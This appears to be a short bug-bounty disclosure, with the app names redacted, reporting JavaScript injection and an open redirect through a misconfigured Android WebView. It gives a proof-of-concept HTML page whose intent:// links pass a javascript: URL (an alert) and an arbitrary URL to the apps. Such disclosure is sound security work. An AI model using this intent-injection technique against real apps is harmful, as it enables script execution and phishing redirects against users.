█████████ (Android): Vulnerable to Javascript Injection and Open redirect

I have discovered a misconfiguration in the WebView components of two apps, ████. This vulnerability allows an attacker to execute JavaScript and open any URL through a link or a malicious app.

<body>
    <a href="intent://app/feedback#Intent;scheme=mymos;package=█████████;S.URL=javascript:(function() { alert('XSS by Cleanchain') })();end">Open XSS</a>

    <a href="intent://app/feedback#Intent;scheme=mymos;package=█████████;S.URL=https://URL;end">Open URL</a>

</body>